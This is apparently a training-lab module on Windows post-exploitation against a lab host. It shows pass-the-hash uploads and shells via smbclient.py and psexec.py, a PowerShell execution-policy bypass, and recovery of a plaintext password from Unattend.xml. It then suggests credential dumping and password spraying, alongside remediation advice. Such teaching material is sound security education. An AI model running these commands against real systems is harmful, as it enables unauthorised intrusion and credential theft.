Module 06
Last updated
Last updated
We have now gained access to the host FS1.winattacklab.local with administrative privileges. This means, that we don't need to look for local privilege escalation methods anymore. Instead, the goal is to find other valuable information, which might help us to compromise other users or hosts.
Compared to the Windows 10 client, none of our tools are installed on FS1 yet. Therefore, we need to prepare our setup first. To perform the situational awareness, we are going to use a tool called PrivescCheck
First, we need to download it to our Linux attack host and then move it to FS1. On your Linux attack host, change to the tools directory:
cd /home/lab_admin/tools/
Then issue the following command to download all necessary resources as a ZIP archive:
curl -JLO https://github.com/itm4n/PrivescCheck/archive/refs/heads/master.zip
Next, we will move the ZIP archive to FS1 using smbclient.py as user aalfort:
smbclient.py -hashes :9859340265d3b3c1eb628ece70ebc238 winattacklab.local/aalfort@10.0.1.101
Switch to the C drive, upload the ZIP file and exit again:
use c$ put PrivescCheck-master.zip exit
Once the archive has been uploaded, we can again connect to FS1 via psexec.py (as previously in "Windows Attack Lab - Step 6 - Lateral Movement to FS1") and run it.
Use the following command to establish the connection from your Linux attack host to FS1 as user aalfort:
psexec.py -hashes :9859340265d3b3c1eb628ece70ebc238 winattacklab.local/aalfort@10.0.1.101
You should now have a command prompt:
Now switch to the root of the C drive:
cd c:\
Next, unpack the archive:
tar -xf PrivescCheck-master.zip
cd PrivescCheck-master
Lastly, we can import and execute the script with one single command:
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
You should see the following output, as the script begins to run:
WARNING: You are running this script as an administrator! Some checks will be automatically disabled. WARNING: You can specify the '-Force' option to disable this warning message. ....
After some time, PrivescCheck should complete and present you with the following output:
The lines marked with KO are of interest to us!
This indicates that a file used for unattended installation was found, which oftentimes contains credentials. If you scroll up a bit in the output, you should eventually find the details for this finding:
As you can see above, PrivescCheck directly parsed the file and found the password Winter2019 for user admin
What is the intended use of the file Unattend.xml?
Why is a password in this file?
What is your recommendation to fix the problem
What other technique could we apply in order to get even more credentials from FS1?
What could we do next with the credentials gathered from Unattend.xml?
This file was used for an unattended installation which adds a local user with username admin and password Winter2019
The XML files contains the actions which should be performed on the target system (FS1). First the file with included username and password will be distributed (copied to FS1) and then executed to create this user. So the file contains both username and also the associated password.
Recommendations:
Cleanup of the files after the deployment (delete file).
Restrict access to answer files (access control lists or permissions on a file).
Hide passwords (only limited possible)
If it’s e.g. a domain join use accounts with lower priviledge.
4. Techniques:
credential dumping (Mimikatz)
check for user home directories (C:\Users) on FS1 (show users which are logged in on FS1)
Check for further information with PowerSploit:
Autologon credentials in the registry
web.config strings
passwords in cached Group Policy Preferences files
5. With the password found we can perform the following steps:
Password Spraying to get users with the same password
login on other systems with the gathered username and password (verify same local admin exists on several systems)
